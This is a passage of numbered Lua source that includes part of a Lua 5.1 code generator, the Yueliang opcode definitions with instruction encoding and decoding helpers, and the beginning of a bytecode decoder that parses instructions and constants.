935 local o2 = self:exp2RK(fs, e2)
936 self:freeexp(fs, e2)
937 self:freeexp(fs, e1)
938 if cond == 0 and op ~= "OP_EQ" then
939 -- exchange args to replace by `<' or `<='
940 o1, o2 = o2, o1 -- o1 <==> o2
941 cond = 1
942 end
943 e1.info = self:condjump(fs, op, cond, o1, o2)
944 e1.k = "VJMP"
945end
946
947------------------------------------------------------------------------
948--
949-- * used only in (lparser) luaY:subexpr()
950------------------------------------------------------------------------
951function mLuaK:prefix(fs, op, e)
952 local e2 = {} -- expdesc
953 e2.t, e2.f = self.NO_JUMP, self.NO_JUMP
954 e2.k = "VKNUM"
955 e2.nval = 0
956 if op == "OPR_MINUS" then
957 if not self:isnumeral(e) then
958 self:exp2anyreg(fs, e) -- cannot operate on non-numeric constants
959 end
960 self:codearith(fs, "OP_UNM", e, e2)
961 elseif op == "OPR_NOT" then
962 self:codenot(fs, e)
963 elseif op == "OPR_LEN" then
964 self:exp2anyreg(fs, e) -- cannot operate on constants
965 self:codearith(fs, "OP_LEN", e, e2)
966 else
967 assert(0)
968 end
969end
970
971------------------------------------------------------------------------
972--
973-- * used only in (lparser) luaY:subexpr()
974------------------------------------------------------------------------
975function mLuaK:infix(fs, op, v)
976 if op == "OPR_AND" then
977 self:goiftrue(fs, v)
978 elseif op == "OPR_OR" then
979 self:goiffalse(fs, v)
980 elseif op == "OPR_CONCAT" then
981 self:exp2nextreg(fs, v) -- operand must be on the 'stack'
982 elseif op == "OPR_ADD" or op == "OPR_SUB" or
983 op == "OPR_MUL" or op == "OPR_DIV" or
984 op == "OPR_MOD" or op == "OPR_POW" then
985 if not self:isnumeral(v) then self:exp2RK(fs, v) end
986 else
987 self:exp2RK(fs, v)
988 end
989end
990
991------------------------------------------------------------------------
992--
993-- * used only in (lparser) luaY:subexpr()
994------------------------------------------------------------------------
995-- table lookups to simplify testing
996mLuaK.arith_op = {
997 OPR_ADD = "OP_ADD", OPR_SUB = "OP_SUB", OPR_MUL = "OP_MUL",
998 OPR_DIV = "OP_DIV", OPR_MOD = "OP_MOD", OPR_POW = "OP_POW",
999}
1000mLuaK.comp_op = {
1001 OPR_EQ = "OP_EQ", OPR_NE = "OP_EQ", OPR_LT = "OP_LT",
1002 OPR_LE = "OP_LE", OPR_GT = "OP_LT", OPR_GE = "OP_LE",
1003}
1004mLuaK.comp_cond = {
1005 OPR_EQ = 1, OPR_NE = 0, OPR_LT = 1,
1006 OPR_LE = 1, OPR_GT = 0, OPR_GE = 0,
1007}
1008function mLuaK:posfix(fs, op, e1, e2)
1009 -- needed because e1 = e2 doesn't copy values...
1010 -- * in 5.0.x, only k/info/aux/t/f copied, t for AND, f for OR
1011 -- but here, all elements are copied for completeness' sake
1012 local function copyexp(e1, e2)
1013 e1.k = e2.k
1014 e1.info = e2.info; e1.aux = e2.aux
1015 e1.nval = e2.nval
1016 e1.t = e2.t; e1.f = e2.f
1017 end
1018 if op == "OPR_AND" then
1019 assert(e1.t == self.NO_JUMP) -- list must be closed
1020 self:dischargevars(fs, e2)
1021 e2.f = self:concat(fs, e2.f, e1.f)
1022 copyexp(e1, e2)
1023 elseif op == "OPR_OR" then
1024 assert(e1.f == self.NO_JUMP) -- list must be closed
1025 self:dischargevars(fs, e2)
1026 e2.t = self:concat(fs, e2.t, e1.t)
1027 copyexp(e1, e2)
1028 elseif op == "OPR_CONCAT" then
1029 self:exp2val(fs, e2)
1030 if e2.k == "VRELOCABLE" and luaP:GET_OPCODE(self:getcode(fs, e2)) == "OP_CONCAT" then
1031 assert(e1.info == luaP:GETARG_B(self:getcode(fs, e2)) - 1)
1032 self:freeexp(fs, e1)
1033 luaP:SETARG_B(self:getcode(fs, e2), e1.info)
1034 e1.k = "VRELOCABLE"
1035 e1.info = e2.info
1036 else
1037 self:exp2nextreg(fs, e2) -- operand must be on the 'stack'
1038 self:codearith(fs, "OP_CONCAT", e1, e2)
1039 end
1040 else
1041 -- the following uses a table lookup in place of conditionals
1042 local arith = self.arith_op[op]
1043 if arith then
1044 self:codearith(fs, arith, e1, e2)
1045 else
1046 local comp = self.comp_op[op]
1047 if comp then
1048 self:codecomp(fs, comp, self.comp_cond[op], e1, e2)
1049 else
1050 assert(0)
1051 end
1052 end--if arith
1053 end--if op
1054end
1055
1056------------------------------------------------------------------------
1057-- adjusts debug information for last instruction written, in order to
1058-- change the line where item comes into existence
1059-- * used in (lparser) luaY:funcargs(), luaY:forbody(), luaY:funcstat()
1060------------------------------------------------------------------------
1061function mLuaK:fixline(fs, line)
1062 fs.f.lineinfo[fs.pc - 1] = line
1063end
1064
1065------------------------------------------------------------------------
1066-- general function to write an instruction into the instruction buffer,
1067-- sets debug information too
1068-- * used in mLuaK:codeABC(), mLuaK:codeABx()
1069-- * called directly by (lparser) luaY:whilestat()
1070------------------------------------------------------------------------
1071function mLuaK:code(fs, i, line)
1072 local f = fs.f
1073 self:dischargejpc(fs) -- 'pc' will change
1074 -- put new instruction in code array
1075 luaY:growvector(fs.L, f.code, fs.pc, f.sizecode, nil,
1076 luaY.MAX_INT, "code size overflow")
1077 f.code[fs.pc] = i
1078 -- save corresponding line information
1079 luaY:growvector(fs.L, f.lineinfo, fs.pc, f.sizelineinfo, nil,
1080 luaY.MAX_INT, "code size overflow")
1081 f.lineinfo[fs.pc] = line
1082 local pc = fs.pc
1083 fs.pc = fs.pc + 1
1084 return pc
1085end
1086
1087------------------------------------------------------------------------
1088-- writes an instruction of type ABC
1089-- * calls mLuaK:code()
1090------------------------------------------------------------------------
1091function mLuaK:codeABC(fs, o, a, b, c)
1092 assert(luaP:getOpMode(o) == luaP.OpMode.iABC)
1093 assert(luaP:getBMode(o) ~= luaP.OpArgMask.OpArgN or b == 0)
1094 assert(luaP:getCMode(o) ~= luaP.OpArgMask.OpArgN or c == 0)
1095 return self:code(fs, luaP:CREATE_ABC(o, a, b, c), fs.ls.lastline)
1096end
1097
1098------------------------------------------------------------------------
1099-- writes an instruction of type ABx
1100-- * calls mLuaK:code(), called by mLuaK:codeAsBx()
1101------------------------------------------------------------------------
1102function mLuaK:codeABx(fs, o, a, bc)
1103 assert(luaP:getOpMode(o) == luaP.OpMode.iABx or
1104 luaP:getOpMode(o) == luaP.OpMode.iAsBx)
1105 assert(luaP:getCMode(o) == luaP.OpArgMask.OpArgN)
1106 return self:code(fs, luaP:CREATE_ABx(o, a, bc), fs.ls.lastline)
1107end
1108
1109------------------------------------------------------------------------
1110--
1111-- * used in (lparser) luaY:closelistfield(), luaY:lastlistfield()
1112------------------------------------------------------------------------
1113function mLuaK:setlist(fs, base, nelems, tostore)
1114 local c = math.floor((nelems - 1)/luaP.LFIELDS_PER_FLUSH) + 1
1115 local b = (tostore == luaY.LUA_MULTRET) and 0 or tostore
1116 assert(tostore ~= 0)
1117 if c <= luaP.MAXARG_C then
1118 self:codeABC(fs, "OP_SETLIST", base, b, c)
1119 else
1120 self:codeABC(fs, "OP_SETLIST", base, b, 0)
1121 self:code(fs, luaP:CREATE_Inst(c), fs.ls.lastline)
1122 end
1123 fs.freereg = base + 1 -- free registers with list values
1124end
1125
1126function GetLuaK(a) --[[luaY = a]] return mLuaK end
1127
1128--[[--------------------------------------------------------------------
1129
1130 lopcodes.lua
1131 Lua 5 virtual machine opcodes in Lua
1132 This file is part of Yueliang.
1133
1134 Copyright (c) 2006 Kein-Hong Man <khman@users.sf.net>
1135 The COPYRIGHT file describes the conditions
1136 under which this software may be distributed.
1137
1138 See the ChangeLog for more information.
1139
1140----------------------------------------------------------------------]]
1141
1142--[[--------------------------------------------------------------------
1143-- Notes:
1144-- * an Instruction is a table with OP, A, B, C, Bx elements; this
1145-- makes the code easy to follow and should allow instruction handling
1146-- to work with doubles and ints
1147-- * WARNING luaP:Instruction outputs instructions encoded in little-
1148-- endian form and field size and positions are hard-coded
1149--
1150-- Not implemented:
1151-- *
1152--
1153-- Added:
1154-- * luaP:CREATE_Inst(c): create an inst from a number (for OP_SETLIST)
1155-- * luaP:Instruction(i): convert field elements to a 4-char string
1156-- * luaP:DecodeInst(x): convert 4-char string into field elements
1157--
1158-- Changed in 5.1.x:
1159-- * POS_OP added, instruction field positions changed
1160-- * some symbol names may have changed, e.g. LUAI_BITSINT
1161-- * new operators for RK indices: BITRK, ISK(x), INDEXK(r), RKASK(x)
1162-- * OP_MOD, OP_LEN is new
1163-- * OP_TEST is now OP_TESTSET, OP_TEST is new
1164-- * OP_FORLOOP, OP_TFORLOOP adjusted, OP_FORPREP is new
1165-- * OP_TFORPREP deleted
1166-- * OP_SETLIST and OP_SETLISTO merged and extended
1167-- * OP_VARARG is new
1168-- * many changes to implementation of OpMode data
1169----------------------------------------------------------------------]]
1170
1171luaP = {}
1172
1173--[[
1174===========================================================================
1175 We assume that instructions are unsigned numbers.
1176 All instructions have an opcode in the first 6 bits.
1177 Instructions can have the following fields:
1178 'A' : 8 bits
1179 'B' : 9 bits
1180 'C' : 9 bits
1181 'Bx' : 18 bits ('B' and 'C' together)
1182 'sBx' : signed Bx
1183
1184 A signed argument is represented in excess K; that is, the number
1185 value is the unsigned value minus K. K is exactly the maximum value
1186 for that argument (so that -max is represented by 0, and +max is
1187 represented by 2*max), which is half the maximum for the corresponding
1188 unsigned argument.
1189===========================================================================
1190--]]
1191
1192luaP.OpMode = { iABC = 0, iABx = 1, iAsBx = 2 } -- basic instruction format
1193
1194------------------------------------------------------------------------
1195-- size and position of opcode arguments.
1196-- * WARNING size and position is hard-coded elsewhere in this script
1197------------------------------------------------------------------------
1198luaP.SIZE_C = 9
1199luaP.SIZE_B = 9
1200luaP.SIZE_Bx = luaP.SIZE_C + luaP.SIZE_B
1201luaP.SIZE_A = 8
1202
1203luaP.SIZE_OP = 6
1204
1205luaP.POS_OP = 0
1206luaP.POS_A = luaP.POS_OP + luaP.SIZE_OP
1207luaP.POS_C = luaP.POS_A + luaP.SIZE_A
1208luaP.POS_B = luaP.POS_C + luaP.SIZE_C
1209luaP.POS_Bx = luaP.POS_C
1210
1211------------------------------------------------------------------------
1212-- limits for opcode arguments.
1213-- we use (signed) int to manipulate most arguments,
1214-- so they must fit in LUAI_BITSINT-1 bits (-1 for sign)
1215------------------------------------------------------------------------
1216-- removed "#if SIZE_Bx < BITS_INT-1" test, assume this script is
1217-- running on a Lua VM with double or int as LUA_NUMBER
1218
1219luaP.MAXARG_Bx = math.ldexp(1, luaP.SIZE_Bx) - 1
1220luaP.MAXARG_sBx = math.floor(luaP.MAXARG_Bx / 2) -- 'sBx' is signed
1221
1222luaP.MAXARG_A = math.ldexp(1, luaP.SIZE_A) - 1
1223luaP.MAXARG_B = math.ldexp(1, luaP.SIZE_B) - 1
1224luaP.MAXARG_C = math.ldexp(1, luaP.SIZE_C) - 1
1225
1226-- creates a mask with 'n' 1 bits at position 'p'
1227-- MASK1(n,p) deleted, not required
1228-- creates a mask with 'n' 0 bits at position 'p'
1229-- MASK0(n,p) deleted, not required
1230
1231--[[--------------------------------------------------------------------
1232 Visual representation for reference:
1233
1234 31 | | | 0 bit position
1235 +-----+-----+-----+----------+
1236 | B | C | A | Opcode | iABC format
1237 +-----+-----+-----+----------+
1238 - 9 - 9 - 8 - 6 - field sizes
1239 +-----+-----+-----+----------+
1240 | [s]Bx | A | Opcode | iABx | iAsBx format
1241 +-----+-----+-----+----------+
1242
1243----------------------------------------------------------------------]]
1244
1245------------------------------------------------------------------------
1246-- the following macros help to manipulate instructions
1247-- * changed to a table object representation, very clean compared to
1248-- the [nightmare] alternatives of using a number or a string
1249-- * Bx is a separate element from B and C, since there is never a need
1250-- to split Bx in the parser or code generator
1251------------------------------------------------------------------------
1252
1253-- these accept or return opcodes in the form of string names
1254function luaP:GET_OPCODE(i) return self.ROpCode[i.OP] end
1255function luaP:SET_OPCODE(i, o) i.OP = self.OpCode[o] end
1256
1257function luaP:GETARG_A(i) return i.A end
1258function luaP:SETARG_A(i, u) i.A = u end
1259
1260function luaP:GETARG_B(i) return i.B end
1261function luaP:SETARG_B(i, b) i.B = b end
1262
1263function luaP:GETARG_C(i) return i.C end
1264function luaP:SETARG_C(i, b) i.C = b end
1265
1266function luaP:GETARG_Bx(i) return i.Bx end
1267function luaP:SETARG_Bx(i, b) i.Bx = b end
1268
1269function luaP:GETARG_sBx(i) return i.Bx - self.MAXARG_sBx end
1270function luaP:SETARG_sBx(i, b) i.Bx = b + self.MAXARG_sBx end
1271
1272function luaP:CREATE_ABC(o,a,b,c)
1273 return {OP = self.OpCode[o], A = a, B = b, C = c}
1274end
1275
1276function luaP:CREATE_ABx(o,a,bc)
1277 return {OP = self.OpCode[o], A = a, Bx = bc}
1278end
1279
1280------------------------------------------------------------------------
1281-- create an instruction from a number (for OP_SETLIST)
1282------------------------------------------------------------------------
1283function luaP:CREATE_Inst(c)
1284 local o = c % 64
1285 c = (c - o) / 64
1286 local a = c % 256
1287 c = (c - a) / 256
1288 return self:CREATE_ABx(o, a, c)
1289end
1290
1291------------------------------------------------------------------------
1292-- returns a 4-char string little-endian encoded form of an instruction
1293------------------------------------------------------------------------
1294function luaP:Instruction(i)
1295 if i.Bx then
1296 -- change to OP/A/B/C format
1297 i.C = i.Bx % 512
1298 i.B = (i.Bx - i.C) / 512
1299 end
1300 local I = i.A * 64 + i.OP
1301 local c0 = I % 256
1302 I = i.C * 64 + (I - c0) / 256 -- 6 bits of A left
1303 local c1 = I % 256
1304 I = i.B * 128 + (I - c1) / 256 -- 7 bits of C left
1305 local c2 = I % 256
1306 local c3 = (I - c2) / 256
1307 return string.char(c0, c1, c2, c3)
1308end
1309
1310------------------------------------------------------------------------
1311-- decodes a 4-char little-endian string into an instruction struct
1312------------------------------------------------------------------------
1313function luaP:DecodeInst(x)
1314 local byte = string.byte
1315 local i = {}
1316 local I = byte(x, 1)
1317 local op = I % 64
1318 i.OP = op
1319 I = byte(x, 2) * 4 + (I - op) / 64 -- 2 bits of c0 left
1320 local a = I % 256
1321 i.A = a
1322 I = byte(x, 3) * 4 + (I - a) / 256 -- 2 bits of c1 left
1323 local c = I % 512
1324 i.C = c
1325 i.B = byte(x, 4) * 2 + (I - c) / 512 -- 1 bits of c2 left
1326 local opmode = self.OpMode[tonumber(string.sub(self.opmodes[op + 1], 7, 7))]
1327 if opmode ~= "iABC" then
1328 i.Bx = i.B * 512 + i.C
1329 end
1330 return i
1331end
1332
1333------------------------------------------------------------------------
1334-- Macros to operate RK indices
1335-- * these use arithmetic instead of bit ops
1336------------------------------------------------------------------------
1337
1338-- this bit 1 means constant (0 means register)
1339luaP.BITRK = math.ldexp(1, luaP.SIZE_B - 1)
1340
1341-- test whether value is a constant
1342function luaP:ISK(x) return x >= self.BITRK end
1343
1344-- gets the index of the constant
1345function luaP:INDEXK(x) return x - self.BITRK end
1346
1347luaP.MAXINDEXRK = luaP.BITRK - 1
1348
1349-- code a constant index as a RK value
1350function luaP:RKASK(x) return x + self.BITRK end
1351
1352------------------------------------------------------------------------
1353-- invalid register that fits in 8 bits
1354------------------------------------------------------------------------
1355luaP.NO_REG = luaP.MAXARG_A
1356
1357------------------------------------------------------------------------
1358-- R(x) - register
1359-- Kst(x) - constant (in constant table)
1360-- RK(x) == if ISK(x) then Kst(INDEXK(x)) else R(x)
1361------------------------------------------------------------------------
1362
1363------------------------------------------------------------------------
1364-- grep "ORDER OP" if you change these enums
1365------------------------------------------------------------------------
1366
1367--[[--------------------------------------------------------------------
1368Lua virtual machine opcodes (enum OpCode):
1369------------------------------------------------------------------------
1370name args description
1371------------------------------------------------------------------------
1372OP_MOVE A B R(A) := R(B)
1373OP_LOADK A Bx R(A) := Kst(Bx)
1374OP_LOADBOOL A B C R(A) := (Bool)B; if (C) pc++
1375OP_LOADNIL A B R(A) := ... := R(B) := nil
1376OP_GETUPVAL A B R(A) := UpValue[B]
1377OP_GETGLOBAL A Bx R(A) := Gbl[Kst(Bx)]
1378OP_GETTABLE A B C R(A) := R(B)[RK(C)]
1379OP_SETGLOBAL A Bx Gbl[Kst(Bx)] := R(A)
1380OP_SETUPVAL A B UpValue[B] := R(A)
1381OP_SETTABLE A B C R(A)[RK(B)] := RK(C)
1382OP_NEWTABLE A B C R(A) := {} (size = B,C)
1383OP_SELF A B C R(A+1) := R(B); R(A) := R(B)[RK(C)]
1384OP_ADD A B C R(A) := RK(B) + RK(C)
1385OP_SUB A B C R(A) := RK(B) - RK(C)
1386OP_MUL A B C R(A) := RK(B) * RK(C)
1387OP_DIV A B C R(A) := RK(B) / RK(C)
1388OP_MOD A B C R(A) := RK(B) % RK(C)
1389OP_POW A B C R(A) := RK(B) ^ RK(C)
1390OP_UNM A B R(A) := -R(B)
1391OP_NOT A B R(A) := not R(B)
1392OP_LEN A B R(A) := length of R(B)
1393OP_CONCAT A B C R(A) := R(B).. ... ..R(C)
1394OP_JMP sBx pc+=sBx
1395OP_EQ A B C if ((RK(B) == RK(C)) ~= A) then pc++
1396OP_LT A B C if ((RK(B) < RK(C)) ~= A) then pc++
1397OP_LE A B C if ((RK(B) <= RK(C)) ~= A) then pc++
1398OP_TEST A C if not (R(A) <=> C) then pc++
1399OP_TESTSET A B C if (R(B) <=> C) then R(A) := R(B) else pc++
1400OP_CALL A B C R(A), ... ,R(A+C-2) := R(A)(R(A+1), ... ,R(A+B-1))
1401OP_TAILCALL A B C return R(A)(R(A+1), ... ,R(A+B-1))
1402OP_RETURN A B return R(A), ... ,R(A+B-2) (see note)
1403OP_FORLOOP A sBx R(A)+=R(A+2);
1404 if R(A) <?= R(A+1) then { pc+=sBx; R(A+3)=R(A) }
1405OP_FORPREP A sBx R(A)-=R(A+2); pc+=sBx
1406OP_TFORLOOP A C R(A+3), ... ,R(A+2+C) := R(A)(R(A+1), R(A+2));
1407 if R(A+3) ~= nil then R(A+2)=R(A+3) else pc++
1408OP_SETLIST A B C R(A)[(C-1)*FPF+i] := R(A+i), 1 <= i <= B
1409OP_CLOSE A close all variables in the stack up to (>=) R(A)
1410OP_CLOSURE A Bx R(A) := closure(KPROTO[Bx], R(A), ... ,R(A+n))
1411OP_VARARG A B R(A), R(A+1), ..., R(A+B-1) = vararg
1412----------------------------------------------------------------------]]
1413
1414luaP.opnames = {} -- opcode names
1415luaP.OpCode = {} -- lookup name -> number
1416luaP.ROpCode = {} -- lookup number -> name
1417
1418------------------------------------------------------------------------
1419-- ORDER OP
1420------------------------------------------------------------------------
1421local i = 0
1422for v in string.gmatch([[
1423MOVE LOADK LOADBOOL LOADNIL GETUPVAL
1424GETGLOBAL GETTABLE SETGLOBAL SETUPVAL SETTABLE
1425NEWTABLE SELF ADD SUB MUL
1426DIV MOD POW UNM NOT
1427LEN CONCAT JMP EQ LT
1428LE TEST TESTSET CALL TAILCALL
1429RETURN FORLOOP FORPREP TFORLOOP SETLIST
1430CLOSE CLOSURE VARARG
1431]], "%S+") do
1432 local n = "OP_"..v
1433 luaP.opnames[i] = v
1434 luaP.OpCode[n] = i
1435 luaP.ROpCode[i] = n
1436 i = i + 1
1437end
1438luaP.NUM_OPCODES = i
1439
1440--[[
1441===========================================================================
1442 Notes:
1443 (*) In OP_CALL, if (B == 0) then B = top. C is the number of returns - 1,
1444 and can be 0: OP_CALL then sets 'top' to last_result+1, so
1445 next open instruction (OP_CALL, OP_RETURN, OP_SETLIST) may use 'top'.
1446 (*) In OP_VARARG, if (B == 0) then use actual number of varargs and
1447 set top (like in OP_CALL with C == 0).
1448 (*) In OP_RETURN, if (B == 0) then return up to 'top'
1449 (*) In OP_SETLIST, if (B == 0) then B = 'top';
1450 if (C == 0) then next 'instruction' is real C
1451 (*) For comparisons, A specifies what condition the test should accept
1452 (true or false).
1453 (*) All 'skips' (pc++) assume that next instruction is a jump
1454===========================================================================
1455--]]
1456
1457--[[--------------------------------------------------------------------
1458 masks for instruction properties. The format is:
1459 bits 0-1: op mode
1460 bits 2-3: C arg mode
1461 bits 4-5: B arg mode
1462 bit 6: instruction set register A
1463 bit 7: operator is a test
1464
1465 for OpArgMask:
1466 OpArgN - argument is not used
1467 OpArgU - argument is used
1468 OpArgR - argument is a register or a jump offset
1469 OpArgK - argument is a constant or register/constant
1470----------------------------------------------------------------------]]
1471
1472-- was enum OpArgMask
1473luaP.OpArgMask = { OpArgN = 0, OpArgU = 1, OpArgR = 2, OpArgK = 3 }
1474
1475------------------------------------------------------------------------
1476-- e.g. to compare with symbols, luaP:getOpMode(...) == luaP.OpCode.iABC
1477-- * accepts opcode parameter as strings, e.g. "OP_MOVE"
1478------------------------------------------------------------------------
1479
1480function luaP:getOpMode(m)
1481 return self.opmodes[self.OpCode[m]] % 4
1482end
1483
1484function luaP:getBMode(m)
1485 return math.floor(self.opmodes[self.OpCode[m]] / 16) % 4
1486end
1487
1488function luaP:getCMode(m)
1489 return math.floor(self.opmodes[self.OpCode[m]] / 4) % 4
1490end
1491
1492function luaP:testAMode(m)
1493 return math.floor(self.opmodes[self.OpCode[m]] / 64) % 2
1494end
1495
1496function luaP:testTMode(m)
1497 return math.floor(self.opmodes[self.OpCode[m]] / 128)
1498end
1499
1500-- luaP_opnames[] is set above, as the luaP.opnames table
1501
1502-- number of list items to accumulate before a SETLIST instruction
1503luaP.LFIELDS_PER_FLUSH = 50
1504
1505------------------------------------------------------------------------
1506-- build instruction properties array
1507-- * deliberately coded to look like the C equivalent
1508------------------------------------------------------------------------
1509local function opmode(t, a, b, c, m)
1510 local luaP = luaP
1511 return t * 128 + a * 64 +
1512 luaP.OpArgMask[b] * 16 + luaP.OpArgMask[c] * 4 + luaP.OpMode[m]
1513end
1514
1515-- ORDER OP
1516luaP.opmodes = {
1517 -- T A B C mode opcode
1518 opmode(0, 1, "OpArgK", "OpArgN", "iABx"), -- OP_LOADK
1519 opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_LOADBOOL
1520 opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_LOADNIL
1521 opmode(0, 1, "OpArgU", "OpArgN", "iABC"), -- OP_GETUPVAL
1522 opmode(0, 1, "OpArgK", "OpArgN", "iABx"), -- OP_GETGLOBAL
1523 opmode(0, 1, "OpArgR", "OpArgK", "iABC"), -- OP_GETTABLE
1524 opmode(0, 0, "OpArgK", "OpArgN", "iABx"), -- OP_SETGLOBAL
1525 opmode(0, 0, "OpArgU", "OpArgN", "iABC"), -- OP_SETUPVAL
1526 opmode(0, 0, "OpArgK", "OpArgK", "iABC"), -- OP_SETTABLE
1527 opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_NEWTABLE
1528 opmode(0, 1, "OpArgR", "OpArgK", "iABC"), -- OP_SELF
1529 opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_ADD
1530 opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_SUB
1531 opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_MUL
1532 opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_DIV
1533 opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_MOD
1534 opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_POW
1535 opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_UNM
1536 opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_NOT
1537 opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_LEN
1538 opmode(0, 1, "OpArgR", "OpArgR", "iABC"), -- OP_CONCAT
1539 opmode(0, 0, "OpArgR", "OpArgN", "iAsBx"), -- OP_JMP
1540 opmode(1, 0, "OpArgK", "OpArgK", "iABC"), -- OP_EQ
1541 opmode(1, 0, "OpArgK", "OpArgK", "iABC"), -- OP_LT
1542 opmode(1, 0, "OpArgK", "OpArgK", "iABC"), -- OP_LE
1543 opmode(1, 1, "OpArgR", "OpArgU", "iABC"), -- OP_TEST
1544 opmode(1, 1, "OpArgR", "OpArgU", "iABC"), -- OP_TESTSET
1545 opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_CALL
1546 opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_TAILCALL
1547 opmode(0, 0, "OpArgU", "OpArgN", "iABC"), -- OP_RETURN
1548 opmode(0, 1, "OpArgR", "OpArgN", "iAsBx"), -- OP_FORLOOP
1549 opmode(0, 1, "OpArgR", "OpArgN", "iAsBx"), -- OP_FORPREP
1550 opmode(1, 0, "OpArgN", "OpArgU", "iABC"), -- OP_TFORLOOP
1551 opmode(0, 0, "OpArgU", "OpArgU", "iABC"), -- OP_SETLIST
1552 opmode(0, 0, "OpArgN", "OpArgN", "iABC"), -- OP_CLOSE
1553 opmode(0, 1, "OpArgU", "OpArgN", "iABx"), -- OP_CLOSURE
1554 opmode(0, 1, "OpArgU", "OpArgN", "iABC"), -- OP_VARARG
1555}
1556-- an awkward way to set a zero-indexed table...
1557luaP.opmodes[0] =
1558 opmode(0, 1, "OpArgR", "OpArgN", "iABC") -- OP_MOVE
1559
1560local advanced_debug
1561
1562local lua_opcode_types = {
1563 "ABC", "ABx", "ABC", "ABC",
1564 "ABC", "ABx", "ABC", "ABx",
1565 "ABC", "ABC", "ABC", "ABC",
1566 "ABC", "ABC", "ABC", "ABC",
1567 "ABC", "ABC", "ABC", "ABC",
1568 "ABC", "ABC", "AsBx", "ABC",
1569 "ABC", "ABC", "ABC", "ABC",
1570 "ABC", "ABC", "ABC", "AsBx",
1571 "AsBx", "ABC", "ABC", "ABC",
1572 "ABx", "ABC",
1573}
1574
1575local lua_opcode_names = {
1576 "MOVE", "LOADK", "LOADBOOL", "LOADNIL",
1577 "GETUPVAL", "GETGLOBAL", "GETTABLE", "SETGLOBAL",
1578 "SETUPVAL", "SETTABLE", "NEWTABLE", "SELF",
1579 "ADD", "SUB", "MUL", "DIV",
1580 "MOD", "POW", "UNM", "NOT",
1581 "LEN", "CONCAT", "JMP", "EQ",
1582 "LT", "LE", "TEST", "TESTSET",
1583 "CALL", "TAILCALL", "RETURN", "FORLOOP",
1584 "FORPREP", "TFORLOOP", "SETLIST", "CLOSE",
1585 "CLOSURE", "VARARG"
1586};
1587
1588--[[
1589local lua_opcode_numbers = {};
1590for number, name in next, lua_opcode_names do
1591 lua_opcode_numbers[name] = number;
1592end
1593--]]
1594
1595--- Extract bits from an integer
1596--@author: Stravant
1597local function get_bits(input, n, n2)
1598 if n2 then
1599 local total = 0
1600 local digitn = 0
1601 for i = n, n2 do
1602 total = total + 2^digitn*get_bits(input, i)
1603 digitn = digitn + 1
1604 end
1605 return total
1606 else
1607 local pn = 2^(n-1)
1608 return (input % (pn + pn) >= pn) and 1 or 0
1609 end
1610end
1611
1612local function decode_bytecode(bytecode)
1613 local index = 1
1614 local big_endian = false
1615 local int_size;
1616 local size_t;
1617
1618 -- Actual binary decoding functions. Dependant on the bytecode.
1619 local get_int, get_size_t;
1620
1621 -- Binary decoding helper functions
1622 local get_int8, get_int32, get_int64, get_float64, get_string;
1623 do
1624 function get_int8()
1625 local a = bytecode:byte(index, index);
1626 index = index + 1
1627 return a
1628 end
1629 function get_int32()
1630 local a, b, c, d = bytecode:byte(index, index + 3);
1631 index = index + 4;
1632 return d*16777216 + c*65536 + b*256 + a
1633 end
1634 function get_int64()
1635 local a = get_int32();
1636 local b = get_int32();
1637 return b*4294967296 + a;
1638 end
1639 function get_float64()
1640 local a = get_int32()
1641 local b = get_int32()
1642 return (-2*get_bits(b, 32)+1)*(2^(get_bits(b, 21, 31)-1023))*
1643 ((get_bits(b, 1, 20)*(2^32) + a)/(2^52)+1)
1644 end
1645 function get_string(len)
1646 local str;
1647 if len then
1648 str = bytecode:sub(index, index + len - 1);
1649 index = index + len;
1650 else
1651 len = get_size_t();
1652 if len == 0 then return; end
1653 str = bytecode:sub(index, index + len - 1);
1654 index = index + len;
1655 end
1656 return str;
1657 end
1658 end
1659
1660 local function decode_chunk()
1661 local chunk;
1662 local instructions = {};
1663 local constants = {};
1664 local prototypes = {};
1665 local debug = {
1666 lines = {};
1667 };
1668
1669 chunk = {
1670 instructions = instructions;
1671 constants = constants;
1672 prototypes = prototypes;
1673 debug = debug;
1674 };
1675
1676 local num;
1677
1678 chunk.name = get_string();-- Function name
1679 chunk.first_line = get_int(); -- First line
1680 chunk.last_line = get_int(); -- Last line
1681
1682 if chunk.name then chunk.name = chunk.name:sub(1, -2); end
1683
1684 chunk.upvalues = get_int8();
1685 chunk.arguments = get_int8();
1686 chunk.varg = get_int8();
1687 chunk.stack = get_int8();
1688
1689 -- TODO: realign lists to 1
1690 -- Decode instructions
1691 do
1692 num = get_int();
1693 for i = 1, num do
1694 local instruction = {
1695 -- opcode = opcode number;
1696 -- type = [ABC, ABx, AsBx]
1697 -- A, B, C, Bx, or sBx depending on type
1698 };
1699
1700 local data = get_int32();
1701 local opcode = get_bits(data, 1, 6);
1702 local type = lua_opcode_types[opcode + 1];
1703
1704 instruction.opcode = opcode;
1705 instruction.type = type;
1706
1707 instruction.A = get_bits(data, 7, 14);
1708 if type == "ABC" then
1709 instruction.B = get_bits(data, 24, 32);
1710 instruction.C = get_bits(data, 15, 23);
1711 elseif type == "ABx" then
1712 instruction.Bx = get_bits(data, 15, 32);
1713 elseif type == "AsBx" then
1714 instruction.sBx = get_bits(data, 15, 32) - 131071;
1715 end
1716
1717 instructions[i] = instruction;
1718 end
1719 end
1720
1721 -- Decode constants
1722 do
1723 num = get_int();
1724 for i = 1, num do
1725 local constant = {
1726 -- type = constant type;
1727 -- data = constant data;
1728 };
1729 local type = get_int8();
1730 constant.type = type;
1731
1732 if type == 1 then
1733 constant.data = (get_int8() ~= 0);
1734 elseif type == 3 then
1735 constant.data = get_float64();
1736 elseif type == 4 then
1737 constant.data = get_string():sub(1, -2);
1738 end
1739
1740 constants[i-1] = constant;
1741 end
1742 end
1743
1744 -- Decode Prototypes
1745 do
